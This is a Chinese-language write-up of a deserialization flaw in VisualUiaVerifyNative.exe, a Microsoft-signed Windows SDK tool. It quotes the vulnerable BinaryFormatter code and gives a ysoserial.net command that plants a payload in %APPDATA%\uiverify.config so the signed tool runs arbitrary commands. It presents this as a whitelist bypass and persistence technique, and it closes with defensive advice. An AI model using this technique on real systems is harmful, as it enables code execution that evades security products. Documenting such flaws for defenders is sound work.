Sharp4VerifyNative:通过白名单文件执行.NET反序列化代码绕过防护
字数 1626 2025-08-22 12:22:54
Sharp4VerifyNative:利用白名单文件执行.NET反序列化代码绕过防护
0x01 工具概述
Sharp4VerifyNative.exe(原名VisualUiaVerifyNative.exe)是Microsoft UI Automation框架的一部分,属于微软官方工具,具有以下关键特性:
- 来源:随Microsoft Windows SDK(Windows Kits)包分发
- 典型路径:
Windows Kits\10\bin\10.0.22621.0\x64\UIAVerify\VisualUiaVerifyNative.exe - 用途:帮助开发人员验证UI自动化状态
- 安全特性:带有微软数字签名,被多数杀软视为白名单应用
0x02 依赖组件分析
该工具依赖两个核心DLL文件:
-
UIAComWrapper.dll
- 封装UI Automation COM接口
- 简化与UI Automation元素的交互
- 使.NET代码能与UI Automation API交互
-
WUIATestLibrary.dll
- 提供UI自动化测试专用库函数
- 支持自动化UI控件的查找、状态验证和操作
0x03 漏洞原理分析
反序列化漏洞点
工具主入口调用MainWindow类,其中ApplicationStateDeserialize方法存在漏洞:
private void ApplicationStateDeserialize() {
this._configFile = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\uiverify.config";
if (File.Exists(this._configFile)) {
Stream stream = File.Open(this._configFile, FileMode.Open);
BinaryFormatter binaryFormatter = new BinaryFormatter();
this._applicationState = (ApplicationState)binaryFormatter.Deserialize(stream);
stream.Close();
}
}
关键问题:
- 从
%APPDATA%\uiverify.config读取配置文件 - 使用不安全的
BinaryFormatter.Deserialize()方法 - 无任何验证或安全检查
漏洞利用条件
- 攻击者能写入目标用户的
%APPDATA%目录 - 目标系统运行VisualUiaVerifyNative.exe
- 目标.NET环境存在可利用的gadget链
0x04 漏洞利用实战
步骤1:生成恶意序列化Payload
使用ysoserial.net工具生成Payload:
ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -o raw -c "notepad" > %APPDATA%\uiverify.config
参数说明:
-f BinaryFormatter:指定BinaryFormatter格式-g TextFormattingRunProperties:使用TextFormattingRunProperties gadget链-o raw:输出原始格式-c "notepad":要执行的命令
步骤2:部署Payload
将生成的uiverify.config文件放置到目标用户的AppData目录:
- 路径:
C:\Users\[用户名]\AppData\Roaming\uiverify.config
步骤3:触发执行
当受害者运行VisualUiaVerifyNative.exe时:
- 程序自动加载
uiverify.config - 执行不安全的反序列化操作
- 触发Payload执行指定命令(本例中打开记事本)
0x05 防御建议
针对开发人员
-
避免使用
BinaryFormatter进行反序列化 -
如必须使用,实施严格的类型检查:
binaryFormatter.Binder = new RestrictiveBinder(); -
使用更安全的替代方案:
XmlSerializerDataContractSerializerNewtonsoft.Json
针对系统管理员
- 监控可疑的
uiverify.config文件创建 - 限制Windows SDK工具的权限
- 实施应用白名单策略
针对安全产品
- 检测异常的序列化数据模式
- 监控VisualUiaVerifyNative.exe的异常行为
- 即使对签名程序也实施行为分析
0x06 技术总结
- 白名单滥用:利用微软签名工具绕过安全检测
- 反序列化漏洞:通过不安全的BinaryFormatter实现RCE
- 利用链:依赖.NET框架中的危险gadget(如TextFormattingRunProperties)
- 持久性:配置文件位于用户目录,可能被长期利用
此漏洞展示了即使是有签名的官方工具也可能成为攻击媒介,强调了深度防御的重要性。